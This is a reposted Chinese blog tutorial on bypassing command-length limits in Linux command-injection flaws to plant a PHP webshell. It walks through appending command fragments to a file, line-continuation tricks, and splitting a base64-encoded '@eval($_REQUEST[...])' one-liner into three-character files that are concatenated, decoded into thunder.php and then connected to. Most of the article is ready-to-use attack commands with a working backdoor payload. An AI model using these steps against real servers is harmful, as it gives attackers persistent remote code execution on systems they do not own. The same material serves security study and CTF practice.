当前位置:   article > 正文

Linux环境下绕过长度限制写入webshell_ls写webshell

ls写webshell

前提

  • 命令执行漏洞对长度有限制时,我们可以通过一些Linux命令生成文件进行执行。

  • 如果应用程序是使用shell解析器来执行命令或文件,那么不需要该文件具有执行属性(x)

  • 如果应用程序没有shell解析器,那么写入文件内容时,可以第一条语句写入#! /bin/sh,这样文件即使没有执行属性也可以执行

方法一:使用>>每次添加一部分命令到文件中

  1. echo -n "cmd1" > r;
  2. echo -n "cmd2" >> r;
  3. echo -n "cmd3" >> r;
  4. echo "cmd4" >> r;
  • 然后使用cat r | bash执行命令

方法二:使用换行执行和ls -t绕过长度限制

  • linux中,文件中的命令如果需要换行书写,需要在前一行末尾增加\,如文件a中有

  1. ca\
  2. t flag.t\
  3. xt
  • 使用sh a即可执行命令cat flag.txt

方法三:命令通过base64编码输入

1、首先将我们的一句话话进行base64编码

  1. echo "<?php @eval(\$_REQUEST[123]);?>" | base64
  2. PD9waHAgQGV2YWwoJF9SRVFVRVNUWzEyM10pOz8+Cg== //返回结果

2、依次每3个字符的写入到一个文件中

其中-n是令后面不会自动加入换行,方便拼接。
  1. echo -n PD9>a;
  2. echo -n waH>b;
  3. echo -n AgQ>c;
  4. echo -n GV2>d;
  5. echo -n YWw>e;
  6. echo -n oJF>f;
  7. echo -n 9SR>g;
  8. echo -n VFV>h;
  9. echo -n RVN>i;
  10. echo -n UWz>j;
  11. echo -n EyM>k;
  12. echo -n 10p>l;
  13. echo -n Oz8+>m;

3、然后组合刚才生成的这些文件到一个文件中。

  1. cat a b>z;
  2. cat z c>y;
  3. cat y d>z;
  4. cat z e>y;
  5. cat y f>z;
  6. cat z g>y;
  7. cat y h>z;
  8. cat z i>y;
  9. cat y j>z;
  10. cat z k>y;
  11. cat y l>z;
  12. cat z m>y;

4、将y里面的base64编码进行转回源码并且改名为php文件。

  1. base64 -d y>x;
  2. mv x thunder.php;

5、连接webshell进行测试,可以正常利用。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/510390
推荐阅读
相关标签
  

闽ICP备14008679号